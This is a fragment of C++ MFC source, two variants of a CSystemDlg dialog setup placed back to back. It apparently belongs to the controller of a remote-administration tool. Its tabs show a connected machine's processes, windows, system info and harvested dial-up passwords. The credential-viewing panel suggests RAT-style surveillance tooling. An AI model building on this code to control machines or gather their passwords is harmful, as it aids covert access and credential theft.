BOOL CSystemDlg::OnInitDialog() { CDialogEx::OnInitDialog(); // TODO: 在此添加额外的初始化 SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); //得到客户端的IP并显示到窗口的标题 CString str; sockaddr_in sockAddr; ZeroMemory(&sockAddr, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); int nResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); str.Format("\\\\%s - 系统管理", (nResult != SOCKET_ERROR) ? inet_ntoa(sockAddr.sin_addr) : ""); SetWindowText(str); m_tab.InsertItem(0, "进程管理"); m_tab.InsertItem(1, "窗口管理"); m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表 m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400); m_ProcessListWidth = 100 + 50 + 400; m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表 m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50); m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300); m_WindowsListWidth = 50 + 300; AdjustList(); //调整列表大小 ShowProcessList(); if (bWindows) { m_tab.SetCurSel(1); //ShowWindowsList(); //GetWindowsList(); } ShowSelectWindow(); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE }
void CSystemDlg::OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult) { // TODO: Add your control notification handler code here ShowSelectWindow(); *pResult = 0; }
BOOL CSystemDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: Add extra initialization here SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon CString str; sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""); SetWindowText(str); m_tab.InsertItem(0, "进程管理"); m_tab.InsertItem(1, "窗口管理"); m_tab.InsertItem(2, "拨号密码"); m_tab.InsertItem(3, "系统信息"); m_info.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_info.InsertColumn(0, "属性", LVCFMT_LEFT, 100); m_info.InsertColumn(1, "内容", LVCFMT_LEFT, 340); m_list_process.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 290); m_list_windows.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 70); m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 370); m_list_dialupass.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_dialupass.InsertColumn(0, "名称", LVCFMT_LEFT, 70); m_list_dialupass.InsertColumn(1, "用户", LVCFMT_LEFT, 85); m_list_dialupass.InsertColumn(2, "密码", LVCFMT_LEFT, 75); m_list_dialupass.InsertColumn(3, "电话/主机", LVCFMT_LEFT, 80); m_list_dialupass.InsertColumn(5, "设备", LVCFMT_LEFT, 130); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_PROCESS)); m_list_process.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_APPWIN)); m_list_windows.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICON_NET)); m_list_dialupass.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_FATHER_ICON)); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_SYSTEM)); m_info.SetImageList(&m_ImgList,LVSIL_SMALL); AdjustList(); ShowProcessList(); ShowSelectWindow(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
void CSystemDlg::OnTcnSelchangeTab1(NMHDR *pNMHDR, LRESULT *pResult) { // TODO: 在此添加控件通知处理程序代码 ShowSelectWindow(); *pResult = 0; }